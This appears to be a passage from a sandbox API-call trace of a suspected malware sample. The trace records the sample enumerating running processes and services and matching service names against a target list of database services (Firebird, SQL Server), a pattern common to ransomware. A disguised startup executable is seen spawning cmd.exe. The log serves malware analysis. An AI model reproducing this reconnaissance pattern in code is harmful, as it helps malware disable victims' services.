	[0047.455] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0047.456] lstrlenW (lpString="dwm.exe") returned 7
	[0047.456] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.456] lstrlenW (lpString="svchost.exe") returned 11
	[0047.456] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.457] lstrlenW (lpString="svchost.exe") returned 11
	[0047.457] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.458] lstrlenW (lpString="svchost.exe") returned 11
	[0047.458] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.458] lstrlenW (lpString="svchost.exe") returned 11
	[0047.458] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.459] lstrlenW (lpString="svchost.exe") returned 11
	[0047.459] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.460] lstrlenW (lpString="svchost.exe") returned 11
	[0047.460] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.460] lstrlenW (lpString="svchost.exe") returned 11
	[0047.460] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.461] lstrlenW (lpString="svchost.exe") returned 11
	[0047.461] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.462] lstrlenW (lpString="svchost.exe") returned 11
	[0047.462] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0047.462] lstrlenW (lpString="spoolsv.exe") returned 11
	[0047.462] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.463] lstrlenW (lpString="svchost.exe") returned 11
	[0047.463] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.464] lstrlenW (lpString="svchost.exe") returned 11
	[0047.464] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0047.465] lstrlenW (lpString="audiodg.exe") returned 11
	[0047.465] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0047.466] lstrlenW (lpString="sihost.exe") returned 10
	[0047.466] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.466] lstrlenW (lpString="svchost.exe") returned 11
	[0047.466] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0047.467] lstrlenW (lpString="taskhostw.exe") returned 13
	[0047.467] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0047.468] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0047.468] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0047.468] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0047.468] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0047.469] lstrlenW (lpString="explorer.exe") returned 12
	[0047.469] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0047.470] lstrlenW (lpString="Memory Compression") returned 18
	[0047.470] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0047.470] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0047.470] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0047.471] lstrlenW (lpString="SearchUI.exe") returned 12
	[0047.471] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0047.472] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0047.472] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0047.472] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0047.472] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0047.473] lstrlenW (lpString="taskhostw.exe") returned 13
	[0047.473] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0047.474] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0047.474] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0047.474] lstrlenW (lpString="UsoClient.exe") returned 13
	[0047.474] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0047.475] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0047.475] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0047.476] lstrlenW (lpString="taskhostw.exe") returned 13
	[0047.476] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0047.476] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0047.477] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0047.477] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0047.477] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0047.478] lstrlenW (lpString="msoia.exe") returned 9
	[0047.478] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0047.478] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0047.479] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0047.479] lstrlenW (lpString="msoia.exe") returned 9
	[0047.479] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0047.601] lstrlenW (lpString="roof.exe") returned 8
	[0047.601] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0047.601] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0047.601] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0047.602] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0047.602] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0047.603] lstrlenW (lpString="cause.exe") returned 9
	[0047.603] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0047.603] lstrlenW (lpString="occasionstax.exe") returned 16
	[0047.603] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0047.604] lstrlenW (lpString="distributors.exe") returned 16
	[0047.604] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0047.605] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0047.605] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0047.606] lstrlenW (lpString="rand.exe") returned 8
	[0047.606] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0047.606] lstrlenW (lpString="unlikely.exe") returned 12
	[0047.606] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0047.607] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0047.607] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0047.608] lstrlenW (lpString="promotion.exe") returned 13
	[0047.608] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0047.609] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0047.609] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0047.609] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0047.609] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0047.610] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0047.610] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0047.611] lstrlenW (lpString="bad-length.exe") returned 14
	[0047.611] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0047.612] lstrlenW (lpString="unit.exe") returned 8
	[0047.612] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0047.613] lstrlenW (lpString="parents.exe") returned 11
	[0047.613] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0047.613] lstrlenW (lpString="charge.exe") returned 10
	[0047.613] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0047.614] lstrlenW (lpString="measures-provision.exe") returned 22
	[0047.614] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0047.615] lstrlenW (lpString="dllhost.exe") returned 11
	[0047.615] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0047.616] lstrlenW (lpString="conhost.exe") returned 11
	[0047.616] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0047.616] lstrlenW (lpString="conhost.exe") returned 11
	[0047.617] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0047.617] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0047.617] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0047.618] lstrlenW (lpString="cmd.exe") returned 7
	[0047.618] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0047.619] lstrlenW (lpString="conhost.exe") returned 11
	[0047.619] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.620] lstrlenW (lpString="svchost.exe") returned 11
	[0047.620] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0047.620] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0047.620] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0047.621] lstrlenW (lpString="conhost.exe") returned 11
	[0047.621] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0047.622] CloseHandle (hObject=0x334) returned 1
	[0047.622] Sleep (dwMilliseconds=0x1f4) 
	[0048.356] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fc60
	[0048.470] EnumServicesStatusExW (in: hSCManager=0x68fc60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0048.470] GetLastError () returned 0xea
	[0048.470] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x3bfae80
	[0048.470] EnumServicesStatusExW (in: hSCManager=0x68fc60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0048.471] CloseServiceHandle (hSCObject=0x68fc60) returned 1
	[0048.472] lstrlenW (lpString="Appinfo") returned 7
	[0048.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0048.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0048.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0048.472] lstrlenW (lpString="AppXSvc") returned 7
	[0048.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0048.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0048.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0048.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0048.472] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0048.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
